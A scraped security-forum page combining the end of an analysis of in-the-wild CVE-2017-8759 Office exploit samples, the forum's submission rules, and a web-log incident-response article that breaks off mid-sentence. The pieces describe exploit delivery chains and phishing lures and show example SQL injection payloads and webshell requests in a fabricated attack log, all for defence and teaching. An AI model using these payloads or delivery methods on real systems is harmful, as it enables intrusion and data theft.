该样本是一个docx文档，里面链接了一个远程rtf文档，当打开该docx文档时，远程的rtf文档将会被拉取并打开，从而触发CVE-2017-8759漏洞。为什么要搞得这么麻烦呢？当然是为了躲避静态检测，我们看到该文档在VT上的检出率情况，可以看到一开始提交到VT时该样本检出率只有2/61，如图17所示，而且静态根本检测不出它后面利用了CVE-2017-8759，最多只能检测出该文档链接有远程对象。
图17
该文档在word_relsdocument.xml.rels文件中指定了一个远程文档，如图18所示，这个所谓的mee.doc文件是一个内嵌ole对象的rtf文档，从文档中提取的ole对象中我们发现了如图19的内容，这显然是利用了CVE-2017-8759。
图18
图19
图19中的网址对应的mee.png文件是一个远程wsdl文件，有意思的是，与之前的8759利用方式相比，该wsdl文件并没有去加载一个远程hta文件，而是直接将需要执行的代码全部写在了wsdl文件内，如图20(为方便查看，图20中对代码做了对齐)所示，且代码量达到千行以上，如图21所示，编译后得到的cs文件如图22所示：
图20
图21
图22
我们的平台最终捕获到该样本的进程树如图23所示：
图23
**
**
**姿势3：通过略微修改WSDL文件中的首个soap语句导致代码执行流上的改变**
MD5: 607e8ae8bf2e3986636f4a82deab1143
我们的平台捕获到一系列直接将执行代码内嵌在wsdl里的样本，特别地，我们注意到一个样本下载的wsdl文件的后续代码执行流与其他样本不太一样，这引起了我们的好奇。先给出该样本执行payload时的栈回溯和其对应的命令行，如图24所示，读者可以自行将图24与图15进行对比，两者在执行流上并不一样，我们不禁要问，这是为什么？
图24
我们查看了这个样本下载的wsdl文件内容，发现cmd.exe对应的命令行被写在如图25中红框圈出的第一个soap语句中，这个地方的代码在我们观察到的其他wsdl文件中要么为空，要么指定了mshta.exe的路径。而该文件在此处用cmd启动了一个powershell进程，这导致创建进程的执行流发生了变化。是否还有更多的执行流呢？这等待研究人员去发现。
图25
我们的平台跑出该样本的进程树如图26所示:
图26
**
**
**姿势4：通过EML进行传播，并通过PPSX进行利用**
MD5: 34f9727770392845ff9ab0912cb8b81c
我们观察到一些利用EML进行传播的CVE-2017-8759样本，其中两个EML的信息如图27，图28所示，可以看到这些钓鱼邮件利用订单回复，汇款证据为诱饵进行CVE-2017-8759样本的投放，时间为最近一周。
图27
图28
图27中后缀名为PPSX的文件是一个CVE-2017-8759样本，尽管国外的安全研究人员有过这方面的讨论，但这种方式此前在野外并不常见。该ppsx文件在pptslides_rels
slide1.xml.rels文件中直接指定了远程的wsdl文件路径，如图29所示，下载下来的wsdl文件与姿势2以及姿势3的高度相似，都为在wsdl文件中直接写入执行代码，此处不再展示。
图29
该PPSX附件在我们的平台里面跑出的进程树如图30所示：
图30
**
**
**姿势5：利用不常见工具进行文件传输**
MD5: 1c957f0e3b92d404e7bcee6963377db7
最后，我们还观察到一个有意思的CVE-2017-8759样本，该样本为一个rtf文档，带有严重的混淆，此处我们不再分析。我们注意到它是因为我们在这个样本的进程树中看到了一些有意思的地方，如图31所示：
图31
Bitsadmin是什么？我们来上网查一下，图32和33是微软的官方说明，原来文件还可以这样传，涨姿势了。
图32
图33
**总结**
本文分享了360高级威胁应对团队最近观察到的CVE-2017-8759样本的新利用方式，我们相信这些新奇的样本极有可能与某些APT有关联，我们会持续追踪。
根据本文分析的几个样本以及后台统计数据，我们有充分的理由相信目前黑市上正在售卖该漏洞的一个新利用套件。我们预计接下来会有更多利用该模板的CVE-2017-8759样本出现。在这里我们也建议广大用户安装360安全卫士，以确保已安装或尽快安装该漏洞的补丁。
**IOC**
**参考链接**
[《FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute
FINSPY》 ](https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html)
[《CVE-2017-8759 | .NET Framework Remote Code Execution
Vulnerability》](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8759)
[《wsdlparser.cs》](http://referencesource.microsoft.com/#System.Runtime.Remoting/metadata/wsdlparser.cs,1bd2c5d8fcea7a6b)
[《CVE-2017-0199: In the Wild Attacks Leveraging HTA
Handler》](https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html)
[《一个换行符引发的奥斯卡0day漏洞(CVE-2017-8759)重现——最新的Office高级威胁攻击预警》](http://bobao.360.cn/learning/detail/4411.html)
[《A short journey into DarkVNC attack
chain》](https://reaqta.com/2017/11/short-journey-darkvnc/)
[《[MS-RTF-1.9.1]Word2007RTFSpec9》](https://www.microsoft.com/en-us/download/details.aspx?id=10725)
[《[MS-OLEDS]: Object Linking and Embedding (OLE) Data
Structures》](https://msdn.microsoft.com/en-us/library/dd942265.aspx)
[《Moniker_Magic_final.pdf》](https://sites.google.com/site/zerodayresearch/Moniker_Magic_final.pdf)
[《Attacking
Interoperability》](https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf)
[《Exploiting CVE-2017-0199: HTA Handler
Vulnerability》](https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/)
[《Bitsadmin /transfer》](https://technet.microsoft.com/en-us/library/cc772581\(v=ws.11\).aspx) | 社区文章 |
**关于**
先知社区是一个安全技术社区，旨在为安全技术研究人员提供一个自由、开放、平等的交流平台。
与其他的安全媒体不同，我们秉持自己的态度，我们鼓励原创，鼓励研究，鼓励分享，鼓励学习。我们的使命是为白帽子打造一个最好的社区，让大家在这里获得技术灵感，分享技能，找到伙伴，获得通向目标的加速度，并不断完善自我。
**投稿方式和要求**
**右上角【个人中心】-【创建新帖子】-【节点模块】选择【技术文章】** 。
**投稿类文章，会对内容质量和技术深度有一定要求，模块请选择 技术文章 ，技术文章版块会有现金奖励** 。
其他模块为自由发帖类的不限内容质量和技术深度，发表的帖子不予进行现金奖励，但会进行 **积分奖励** ，积分后期可兑换 **现金和礼品以及活动门票** 等。
**例外情况：渗透测试文章，后续统一不放到技术文章版块，投稿请投到渗透测试版块，根据内容具体情况进行现金奖励。**
文章稿件采用Markdown格式，社区编辑器 **支持图片拖曳上传** 。
**图片和附件必须使用社区的文件存储，外链图片的文章会被驳回，审核不予通过。**
文章稿件内容请参考 【稿件类型】章节，社区相似重复主题过多将不予通过。
投稿完成后，请耐心等待审核。
**稿件奖励**
对于原创稿件，将给予现金奖励 100 - 500 元， **社区板块的分析交流文章，或者技术文章版本的内容深度较浅或网上有一定公开类似，则不予奖励**
，具体奖励视文章质量而定。
遇到活动，奖金会一定倍数增长，具体见具体活动的公告。
对于优秀翻译文章稿件，将给予现金奖励 100 - 300 元。
当月投稿并且审核通过的文章，其 **奖金将于次月发放** 至作者支付宝账号中，请在【个人中心】及时补充完善个人信息。
**若次月1日12点前仍未补充或收款信息填写错误，将视作自愿放弃稿费，放弃的稿费后期不支持发放** 。
**稿件类型**
投稿前，建议先查看社区内是否有类似主题的文章，例如各类普通常见反序列化链等分析等，将视作重复并不予通过。
****1.原创文章 （支持原创，拒绝盗稿）****
原创要求：具有原创性，观点新颖，兼具技术深度与广度
文章类型：
代码审计类
二进制安全研究类
移动安全类
恶意样本分析类
安全算法、数据分析类
CTF Writeup (需有思考与总结，不包括靶机)
****2.翻译文章 （高质量国外技术分享）****
翻译要求：文章技术含量高，语句通顺，翻译质量上乘，无技术词汇翻译错误，翻译文章需给出原文章地址。
文章类型：
bug bounty类
漏洞分析类
代码审计类
恶意样本分析类
稿件评分标准
技术深度、广度
文章原创性、可读性
文章完整性、稀缺度
文章阅读量及优质评论数量
****3\. 自由讨论板块（该相关内容无稿费奖励）****
要求：安全技术交流讨论，分享一些姿势，工具，汇总知识点等，也可以提问等。
文章类型：
安全相关内容即可 | 社区文章 |
## 作者： jeary@安百科技
一、为什么需要对日志进行分析？
随着Web技术不断发展，Web被应用得越来越广泛，所谓有价值的地方就有江湖，网站被恶意黑客攻击的频率和网站的价值一般成正比趋势，即使网站价值相对较小，也会面对“脚本小子”的恶意测试攻击或者躺枪于各种大范围漏洞扫描器，正如安全行业的一句话：“世界上只有两种人,一种是知道自己被黑了的,另外一种是被黑了还不知道的”
此时对网站的日志分析就显得特别重要，作为网站管理运维等人员如不能实时的了解服务器的安全状况，则必定会成为“被黑了还不知道的”那一类人，从而造成损失，当然还有一个场景是已经因为黑客攻击造成经济损失，此时我们也会进行日志分析等各种应急措施尽量挽回损失，简而言之日志分析最直接明显的两个目的，一为网站安全自检查，了解服务器上正在发生的安全事件，二为应急事件中的分析取证。
## 二、如何进行日志分析？
在说如何进行分析之前，我们先来了解一下Web服务器中产生的日志是什么样子.
我们以Nginx容器为例：
随机抽取一条日志：
61.144.119.65 - - [29/May/2017:22:01:32 +0800] "GET /page/1 HTTP/1.1" 200 6403 "http://www.baidu.com" "Scrapy/1.1.2 (+http://scrapy.org)"
作为Web开发或者运维人员，可能对图中的日志信息比较熟悉，如果对日志不那么熟悉也没关系，我们可以查看Nginx中关于日志格式的配置，查看nginx.conf配置文件：
可以看到日志格式为：
$remote_addr - $remote_user [$time_local] "$request" '$status $body_bytes_sent "$http_referer" '$http_user_agent" "$http_x_forwarded_for"';
翻译过来即为：
远程IP - 远程用户 服务器时间 请求主体 响应状态 响应体大小 请求来源 客户端信息 客户端代理IP
通过以上信息，我们可以得知服务器会记录来自客户端的每一个请求，其中有大量来自正常用户的请求，当然也包括来自恶意攻击者的请求，那么我们如何区分正常请求和恶意攻击请求呢？站在攻击者的角度，攻击者对网站进行渗透时，其中包含大量的扫描请求和执行恶意操作的请求，而这两者在日志中都有各自的特征，如扫描请求会访问大量不存在的地址，在日志中体现则为大量的响应状态码为404，而不同的恶意请求都有各自相应的特征，如当有人对服务器进行SQL注入漏洞探测时：
(图中以"select"为关键字进行过滤)
聪明的你肯定想到了，如果此时加上时间条件，状态码等条件就能查询到最近可能成功的SQL注入攻击了，当然实际情况中，仅仅只依靠状态码来判断攻击是否成功是不可行的，因为很多时候请求的确成功了，但并不能代表攻击也成功了，如请求一个静态页面或者图片，会产生这样一个请求:
/logo.png?attack=test';select/**/1/**/from/**/1
此时请求状态码为200，但是此注入攻击并没有得到执行，实际情况中，还会有更多情况导致产生此类的噪声数据。
抛开这类情况不谈，我们来说说在一般应急响应场景中我们分析日志的常规办法。
在常规应急响应常见中，一般客户会有这几种被黑情况：
1.带宽被占满，导致网站响应速度变慢，用户无法正常访问
2.造成已知经济损失，客户被恶意转账、对账发现金额无端流失
3.网站被篡改或者添加暗链，常见为黑客黑页、博彩链接等
..
对于这些情况，按照经验，我们会先建议对已知被黑的服务器进行断网，然后开始进行日志分析操作。假设我们面对的是一个相对初级的黑客，一般我们直接到服务器检查是否存有明显的webshell即可。检查方式也很简单：
1.搜索最近一周被创建、更新的脚本文件
2.根据网站所用语言，搜索对应webshell文件常见的关键字
找到webshell后门文件后，通过查看日志中谁访问了webshell，然后得出攻击者IP，再通过IP提取出攻击者所有请求进行分析
如果不出意外，可能我们得到类似这样一个日志结果：（为清晰呈现攻击路径，此日志为人工撰造）
eg:
00:01 GET http://localhost/index.php 9.9.9.9 200 [正常请求]
00:02 GET http://localhost/index.php?id=1' 9.9.9.9 500 [疑似攻击]
00:05 GET http://localhost/index.php?id=1' and 1=user() or ''=' 9.9.9.9 500 [确认攻击]
00:07 GET http://localhost/index.php?id=1' and 1=(select top 1 name from userinfo) or ''=' 9.9.9.9 500 [确认攻击]
00:09 GET http://localhost/index.php?id=1' and 1=(select top 1 pass from userinfo) or ''=' 9.9.9.9 500 [确认攻击]
00:10 GET http://localhost/admin/ 9.9.9.9 404 [疑似攻击]
00:12 GET http://localhost/login.php 9.9.9.9 404 [疑似攻击]
00:13 GET http://localhost/admin.php 9.9.9.9 404 [疑似攻击]
00:14 GET http://localhost/manager/ 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/admin_login.php 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:18 POST http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:20 GET http://localhost/main.php 9.9.9.9 200 [疑似攻击]
00:20 POST http://localhost/upload.php 9.9.9.9 200 [疑似攻击]
00:23 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:25 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:26 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
首先我们通过找到后门文件“webshell.php”，得知攻击者IP为9.9.9.9，然后提取了此IP所有请求，从这些请求可以清楚看出攻击者从00:01访问网站首页，然后使用了单引号对网站进行SQL注入探测，然后利用报错注入的方式得到了用户名和密码，随后扫描到了管理后台进入了登录进了网站后台上传了webshell文件进行了一些恶意操作。
从以上分析我们可以得出，/index.php这个页面存在SQL注入漏洞，后台地址为/guanli.php,/upload.php可直接上传webshell
那么很容易就能得出补救方法，修复注入漏洞、更改管理员密码、对文件上传进行限制、限制上传目录的执行权限、删除webshell。
## 三、日志分析中存在的难题
看完上一节可能大家会觉得原来日志分析这么简单，不过熟悉Web安全的人可能会知道，关于日志的安全分析如果真有如此简单那就太轻松了。其实实际情况中的日志分析，需要分析人员有大量的安全经验，即使是刚才上节中简单的日志分析，可能存在各种多变的情况导致提高我们分析溯源的难度。
对于日志的安全分析，可能会有如下几个问题，不知道各位可否想过。
1.日志中POST数据是不记录的，所以攻击者如果找到的漏洞点为POST请求，那么刚刚上面的注入请求就不会在日志中体现
2.状态码虽然表示了响应状态，但是存在多种不可信情况，如服务器配置自定义状态码。
如在我经验中，客户服务器配置网站应用所有页面状态码皆为200，用页面内容来决定响应,或者说服务器配置了302跳转，用302到一个内容为“不存在页面”（你可以尝试用curl访问<http://www.baidu.com/test.php看看响应体）>
3.攻击者可能使用多个代理IP，假如我是一个恶意攻击者，为了避免日后攻击被溯源、IP被定位，会使用大量的代理IP从而增加分析的难度（淘宝上，一万代理IP才不到10块钱，就不说代理IP可以采集免费的了）
如果一个攻击者使用了大量不同的IP进行攻击，那么使用上面的方法可能就无法进行攻击行为溯源了
4.无恶意webshell访问记录，刚才我们采用的方法是通过“webshell”这个文件名从日志中找到恶意行为，如果分析过程中我们没有找到这么一个恶意webshell访问，又该从何入手寻找攻击者的攻击路径呢？
5.分析过程中我们还使用恶意行为关键字来对日志进行匹配，假设攻击者避开了我们的关键字进行攻击？比如使用了各种编码，16进制、Base64等等编码，再加上攻击者使用了代理IP使我们漏掉了分析中攻击者发起的比较重要的攻击请求
6.APT攻击，攻击者分不同时间段进行攻击，导致时间上无法对应出整个攻击行为
7.日志数据噪声（ ~~这词我也不知道用得对不对~~
）上文提到过，攻击者可能会使用扫描器进行大量的扫描，此时日志中存在大量扫描行为，此类行为同样会被恶意行为关键字匹配出，但是此类请求我们无法得知是否成功扫描到漏洞，可能也无法得知这些请求是扫描器发出的，扫描器可使用代理IP、可进行分时策略、可伪造客户端特征、可伪造请求来源或伪造成爬虫。此时我们从匹配出的海量恶意请求中很难得出哪些请求攻击成功了
..
## 四、日志分析工程化之路 [探索篇]
（上一节留下的坑我们留到最后讨论[ ~~因为我也觉得比较头疼~~ ]，我们现在来讨论一点让人轻松的~）
曾经有运维的人员问我们公司的大神，该如何分析日志？
大神回答了三个字：“用命令”
因为站在安全经验丰富的人角度来看，的确用命令足矣，可是对于安全经验不那么丰富的人来说，可能就不知道从何入手了。但是即使身为一个安全从业人员，我也觉得用命令太过耗时耗力（还有那么多有趣的事情和伟大的事情没做呐，当然还要节约出一点时光来嗨嗨嗨呀，难道每次分析日志我们都用命令一个个给一点点分析？）
于是，聪明的黑客们就想到了，将这些步骤流程写成工具，让工具来帮我们分析日志，当然我也想到了，可是在我造这么一个轮子之前，我习惯性的到各大网站上先翻一翻，看看有没有人实现过，还真让我找到一些，如下：
腾讯安全实验室：
<https://security.tencent.com/index.php/opensource/detail/15>
北风飘然@金乌网络安全实验室
<http://www.freebuf.com/sectool/126698.html>
网络ID为piaox的安全从业人员：
<http://www.freebuf.com/sectool/110644.html>
网络ID：SecSky
<http://www.freebuf.com/sectool/8982.html>
网络ID：鬼魅羊羔
<http://www.freebuf.com/articles/web/96675.html>
我以“Web安全日志分析”为关键字，百度&Google了一番，发现并没有找到自己觉得不错的日志分析工具，难道安全行业就没有大牛写个优秀的日志分析工具出来？年轻时的我如此想到，后来我发现并非如此，而是稍微优秀一点的都跑去做产品了，于是我转战搜寻关于日志安全分析产品，通过各种方式也让我找到了几个，如下：
首先是推广做得比较好的:日志易
<https://www.rizhiyi.com/>
日志易确实像它推广视频里所说的：“国内领先的海量日志搜索分析产品”
前段时间，有客户联系到我们，说他们买了日志易的产品，但是其中对安全的监控比较缺乏，让我们能不能在日志易的基础上添加一些安全规则，建立安全告警，他们要投放到大屏幕，然后来实时监控各个服务器的安全状态。然后我就大概看了一遍日志易的产品，安全方面的分析，基本为0.
但是日志易确实有几个优点
1.日志采集方面相对成熟，已经能针对多种日志格式解析并结构化，还支持用户自定义日志格的辅助解析
2.海量日志存储相对完善，可接收来自各个客户端的日志，Saas服务成熟，能对接各大云主机
3.搜索方面技术优秀，千亿级别数据索引只需60秒
（但是，我要的安全分析啊，其他的再成熟，也始终是个不错的日志分析平台而已，我要的是安全分析、安全分析、安全分析[重要的话说三遍]）
补：
（后来我发现，日志易其实有在安全方面进行分析，但是这个如图这个结果，并没有让我觉得眼前一亮，而且其中还有大量的误报）
后来我从朋友那里得知另外一个产品，算是看到一个稍微像那么回事的产品：
安全易
<https://www.anquanyi.com/>
他们推广做得不那么好，所以在我一开始的搜索中，并没有从搜索引擎找到它，这个产品是可以免费注册并试用的，于是我迫不及待注册了一个账号进去看看，如图：
当我试用过安全易这个产品之后，提取出了他们在关于安全方面所做的统计列表，如下：
1.威胁时序图
2.疑似威胁分析
3.疑似威胁漏报分析
4.威胁访问流量
5.威胁流量占比
6.境外威胁来源国家(地区)统计
7.境内威胁来源城市统计
8.威胁严重度
9.威胁响应分析
10.恶意IP
11.恶意URL分析
12.威胁类型分析
13.威胁类型分布
14.威胁分类计数
15.威胁来源热力图
16.威胁总数
17.威胁日志占比
结果似乎挺丰富，至少比我们开始使用命令和工具得到的结果更为丰富，其实在看到这个产品之前，我们内部就尝试使用过各种方法实现过其中大部分视图结果，但是似乎还是缺少点什么
——
攻击行为溯源，也就是我们在第二节中对日志进行简单的分析的过程，得到攻击者的整个攻击路径已经攻击者执行的恶意操作。不过想要将这个过程工程化，难度可比如上17个统计视图大多了，难在哪里？请回看第三节..
虽然安全易的产品并没有满足我对日志分析中的想法，但是也不能说它毫无价值，相反这款产品能辅助运维人员更有效率的监控、检查服务器上的安全事件，甚至他们不用懂得太多的安全知识也能帮助企业更有效率的发现、解决安全问题
## 五、日志分析工程化之路 [实践篇]
在了解了很多分析日志的工具后，也尝试过自己折腾出一个方便分析日志的工具，以便以日常工作中的应急响应场景
记得是在半年前左右，我的思路是这样的：
1.首先确认日志结构
我在Mysql中建立了如下结构的一张表来存储日志：
日志字段
请求时间
服务器名称
客户端IP
请求方法
请求资源
服务器端口
服务器IP
浏览器信息
响应状态码
请求来源
响应长度
请求协议
2.给Web攻击进行分类
攻击类型表
攻击类型名称
危险等级
攻击/扫描
3.建立攻击规则表对应不同的攻击类型
攻击规则表
攻击规则正则表达式
攻击发生的位置
攻击规则对应的攻击类型ID
此时不得不说一下当时日志是怎么入库的，不知道大家是否知道awk命令
echo "aa bb cc" | awk -F '{print $1}'
我们对日志采用了类似的方式，通过空格分割，然后生成出Mysql中可用的insert语句
大约为：`INSERT INTO web_log VALUES
($1,$3,$4,...)`,至于你说其中列数是如何对应到Mysql里的表结构的,我们当时是人工核对的，为每一个不同的日志文件进行人工对应..（可想而知这活工作量多大）
扯回正题，当我们入库完毕后有了这么三张数据表，聪明的童鞋可能已经知道下一步要干什么的，那就是拿着安全规则正则表达式去逐条匹配日志表里面的日志
然后得到结果：
攻击日志ID
攻击类型ID
攻击规则ID
最后我们只需要写SQL语句，就能轻松统计各个攻击类型都分别有多少攻击请求了
如图：
最后我们思考了从各个角度来进行查询，得到了如下以下列表中的结果：
网站受攻击次数排名
网站高危请求排名
网站攻击者数量排名
网站受攻击页面排名
可疑文件排行.
被攻击时间统计
攻击来源分布
高危攻击者排行
攻击者攻击次数排行
网站危险系数排行
攻击者数量统计
各站点攻击者数量统计
各扫描器占比
使用扫描器攻击者统计
由于这是一次针对多个(70+)站点的分析，所以只需突显安全趋势即可，在此次日志分析中，还并未涉及到溯源取证
记得当时我们是用SQL语句查询出结果，然后将数据填入Execl，然后进行图标生成，整个日志分析的过程，从日志原文件到入库到匹配到统计到出数据最后到Execl出统计图表基本都需要人工参与
对了，上几张图瞧瞧吧
（篇幅原因，其他统计图不贴上来了）
可以看出，我们仅仅只是采用了一些安全攻击规则来对日志进行匹配就已经得到了不错的结果，虽然整个过程有点漫长，但是得到的这一份日志分析报告是具有实际意义和价值的，它可以帮我们发现哪些站点受到的攻击行为最多，那一类攻击最为频繁，哪些站点风险系数较高，网站管理和运维人员可以通过这份报告，来着重检查危险系数较高的请求和危险系数较高的站点，从而大大提高效率。
~~但是日志分析工(lan)程(duo)化(hua)之路到此结束了吗？不，远远没有~~
## 六、日志分析工程化之路 [进阶篇]
有没有觉得像上面那样折腾太累了，虽然确实能得到一个还不错的结果。于是开始找寻一个较好的日志分析方案，最后采用了开源日志分析平台ELK,ELK分别为：
Elasticsearch 开源分布式搜索引擎
Logstash 对日志进行收集、过滤并存储到Elasticsearch或其他数据库
Kibana 对日志分析友好的Web界面,可对Elasticsearch中的数据进行汇总、分析、查询
因为它开源、免费、高可配，所以是很多初创企业作为日志分析使用率最高的日志分析平台
当理清楚ELK的搭建方式和使用流程后，我们用ELK实现了一遍第五节中的日志分析
流程大概如下：
1.编写Logstash配置文件
2.将攻击规则应用于logstash的filter插件
3.利用载入了安全分析插件后的logstash进行日志导入
4.查询分析结果
5.利用Kibana进行统计、可视化
到这里，所得结果已经比“HanSight瀚思”安全易这个产品的结果更为丰富了~ ，但是日志安全分析之路远远没有结束，最重要也最具有价值的那部分还没有得到实现
—— 攻击行为溯源
## 七、日志安全分析攻击溯源之路 [探索篇]
故技重施，我搜寻了和攻击溯源有关的相关信息，发现国内基本寥寥无几
最后发现其实现难度较大，倒是听说过某些甲方内部安全团队有尝试实现过，但至今未要到产品实现的效果图，不过最后倒是被我找到某安全公司有一个类似的产品，虽然是以硬件方式实现的流量监控，从而获取到日志进行分析。这里提一句，通过硬件方式获取流量从而可以记录并分析整个请求包和响应包，这可比从日志文件中拿到的信息全面多了，从而将日志溯源分析降低了一个难度，不过某些优秀的分析思路还是值得学习的，先上几张产品效果图：
由于图1中的分析已经实现，这里暂且不谈。我们看图2中的攻击溯源，这好像正是我们需要的效果。
第一个信息不难理解，三个中国的IP发起了含有攻击特征的请求，他们的客户端信息(userAgent)分别为Linux/Win7/MacOs
第二个信息据我经验应该是他们内部有一个IP库，每个IP是否为代理IP，所处什么机房都有相应的记录，或者调用了IP位置查询接口，从而判断IP是否为代理IP、机房IP、个人上网出口IP，继而判定未使用跳板主机
第三个信息为攻击者第一次访问站点，从图中却到看到jsky的字样，竭思为一款Web漏洞扫描器，而根据我的经验来看，扫描器第一个请求不应该是访问一个txt文件而是应该请求主页从而判断网站是否能正常请求，所以这里我猜测应该是从时间链或者IP上断掉的线索，从而导致对攻击者的入站第一个请求误判，不过误判入站请求这个倒是对分析的影响不是特别大
第四、第五、第六个信息应该分别为访问了后台地址、对后台进行了爆破攻击、使用常见漏洞或CMS等通用漏洞对应用进行了攻击，除了后台访问成功之外，爆破攻击、应用攻击均为成功。因为此攻击溯源分析通过硬件方式实现，猜想应该是判断了响应体中是否包含各种登录成功的迹象，而应用攻击则判断响应中是否存在关于数据库、服务器的敏感信息，如不存在则视为攻击未成功
第七个信息展示出了攻击者总共发起了79166次注入攻击，且对服务器已经造成了影响，但是从效果图中看来，此溯源并没有具体展示对哪台哪个应用攻击成功造成了影响，故断定为综合判断，可能存在一定误报率，判断方式可通过响应体中的敏感信息、响应平均大小等方式判断已攻击成功的概率
对于图3中的效果，开始觉得结果丰富，意义深远，但是细看发现结果丰富大多来源于相关数据丰富。
综上所诉，此攻击溯源产品利用了两个优势得出了比常规分析日志方法中更有价值的结果
1.请求和响应数据完整，能进行更大维度的日志分析
2.安全关联库较多，能关联出更为丰富的信息
如下为产品中引用的关联库：
1. 全球IPV4信息知识库，包括该IP对应的国家地区、对应的操作系统详情、浏览器信息、电话、域名等等。并对全球IP地址实时监控，通过开放的端口、协议以及其历史记录，作为数据模型进行预处理。
2. 全球虚拟空间商的IP地址库，如果访问者属于该范围内，则初步可以判定为跳板IP。
3. 全球域名库，包括两亿多个域名的详细信息，并且实时监控域名动向，包括域名对应的IP地址和端口变化情况，打造即时的基于域名与IP的新型判断技术，通过该方式可以初步判断是否为C&C服务器、黑客跳板服务器。
4. 黑客互联网信息库，全球部署了几千台蜜罐系统，实时收集互联网上全球黑客动向。
5．独有的黑客IP库，对黑客经常登录的网站进行监控、对全球的恶意IP实时获取。
6. 黑客工具指纹库，收集了所有公开的（部分私有的）黑客工具指纹，当攻击者对网站进行攻击时，可以根据使用的黑客工具对黑客的地区、组织做初步判断。
7. 黑客攻击手法库，收集了大量黑客攻击手法，以此来定位对应的黑客或组织。
8. 其他互联网安全厂商资源，该系统会充分利用互联网各种资源，比如联动50余款杀毒软件，共同检测服务器木马程序。
1. 永久记录黑客攻击的所有日志，为攻击取证溯源提供详细依据。
## 八、日志安全分析攻击溯源之路 [构想篇]
我也希望我在这一节能写出关于溯源的实践篇，然而事实是到目前为止，我也没有太好的办法来解决在传统日志分析中第三节中提到的问题，期间也做过一些尝试，得到的结果并不怎么尽人意，当然之后也会不断尝试利用优秀的思路来尝试进行攻击溯源分析。由于还并未很好的实现攻击溯源分析，下面只讨论一些可行思路（部分思路来源于行业大牛、国内外论文资料）
通过前几节，我们已经知道了我们分析日志的目的，攻击溯源的目的和其意义与价值
这里简短概括一下：
一、实时监控正在发生的安全事件、安全趋势
二、还原攻击者行为
1.从何时开始攻击
2.攻击所利用的工具、手法、漏洞
3.攻击是否成功，是否已经造成损失和危害
三、发现风险、捕获漏洞、修复漏洞、恶意行为取证
在传统日志分析过程中，想要实现以上效果，那么就不得不面对第三节中提到的问题，这里回顾一下：
1.POST数据不记录导致分析结果不准确
其实在服务器端，运维管理人员可自行配置记录POST数据，但是这里说的是默认不记录的情况，所以配置记录POST数据暂且不提
其实我觉得要从不完整的信息中，分析得到一个肯定的答案，我觉得这从逻辑上就不可行。但是我们可以折中实现，尽量向肯定的答案靠近，即使得到一个90%肯定的答案，那也合乎我们想要的结果
在常规日志分析中，虽然POST数据不被记录，但是这些“不完整信息”依然能给我们我们提供线索
如通过响应大小、响应时间、前后请求关联、POST地址词义分析、状态码等等依然能为我们的分析提供依据，如某个请求在日志中的出现次数占访问总数30%以上，且响应大小平均值为2kb，突然某一天这个请求的响应值为10kb，且发起请求的IP曾被攻击特征匹配出过，那么可以80%的怀疑此请求可能存在异常，如攻击者使用了联合注入查询了大量数据到页面，当然这里只是举例，实际情况可能存在误报。
2.状态码不可信
对于那些自行设置响应状态的，明明404却302的，明明500却要200的( ~~我能说这种我想拖出去打死么- -,~~ )
PS：其实设置自定义状态码是别人的正常需求
因为状态码不可信了，我们必须从其他方面入手来获取可信线索，虽然要付出点代价
我的思路是，对于不同的攻击行为，我们应该定义不同的响应规则，如攻击规则命中的为网站备份文件，那么应该判断请求大小必须超过1k-5k，如攻击者发起/wwwroot.rar这种攻击请求，按照常理如果状态码为200，那么本来应该被定性为成功的攻击行为，但是因为状态码不可信，我们可以转而通过响应大小来判断，因为按照常规逻辑，备份文件一般都不止只有几kb大小，如攻击者发起Bool注入请求则应该通过判断多个注入攻击请求的规律，Bool注入通常页面是一大一小一大一小这种规律，如攻击者发起联合注入攻击，则页面响应大小会异常于多部分正常页面响应大小，如果攻击者发起延时注入请求，则页面响应时间则会和延时注入payload中的响应相近，但是这需要分析攻击payload并提取其中的延时秒数来和日志中的响应时间进行比较误差值,当然，这里只是尝试思路，实际可行率有待实践
3.攻击者使用多个代理IP导致无法构成整个攻击路径
假设同一攻击者发起的每个请求都来自不同的IP，此时即使攻击规则命中了攻击者所有请求，也无法还原攻击者的攻击路径，此时我们只能另寻他法
虽然攻击者使用了多个IP，但是假设攻击者不足够心细，此时你可以通过攻击时间段、请求频率、客户端信息(Ua)、攻击手法、攻击工具(请求主体和请求来源和客户端信息中可能暴露工具特征。如sqlmap注入时留下的referer)
4.无恶意webshell访问记录
常规分析中，我们通过找到后门文件，从而利用这一线索得知攻击者IP继而得知攻击者所有请求，但是如果我们并没有找到webshell，又该用什么作为分析的入口线索呢？
利用尽可能全面的攻击规则对日志进行匹配,通过IP分组聚合，提取发起过攻击请求的所有IP，再通过得到的IP反查所有请求，再配合其他方法检测提取出的所有请求中的可疑请求
5.编码避开关键字匹配
关于编码、加密问题，我也曾尝试过，但是实际最后发现除了URL编码以外，其他的编码是无法随意使用的，因为一个被加密或编码后的请求，服务器是无法正确接收和处理的，除非应用本身请求就是加密或编码的。且一般加密或编码出现在日志里通常都是配合其他函数实现的，如Char()、toHexString()、Ascii()..
6.APT分时段攻击
如果同一攻击者的攻击行为分别来源不同的时间，比如攻击者花一周时间进行“踩点”，然后他就停止了行为，过了一周后再继续利用所得信息进行攻击行为，此时因为行为链被断开了一周，我们可能无法很明显的通过时间维度来定位攻击者的攻击路径。我目前的想法是，给攻击力路径定义模型，就拿在前面讲到的常规日志分析举例，那么攻击路径模型可定义为：访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作
其中每一个都可以理解一种行为，而每种行为都有相应的特征或者规则
比如主页链接一般在日志中占比较大，且通常路径为index.html、index.php、index.aspx,那么符合这两个规则则视为访问主页
而在探测注入行为中，一般会出现探测的payload，如时间注入会匹配以下规则：
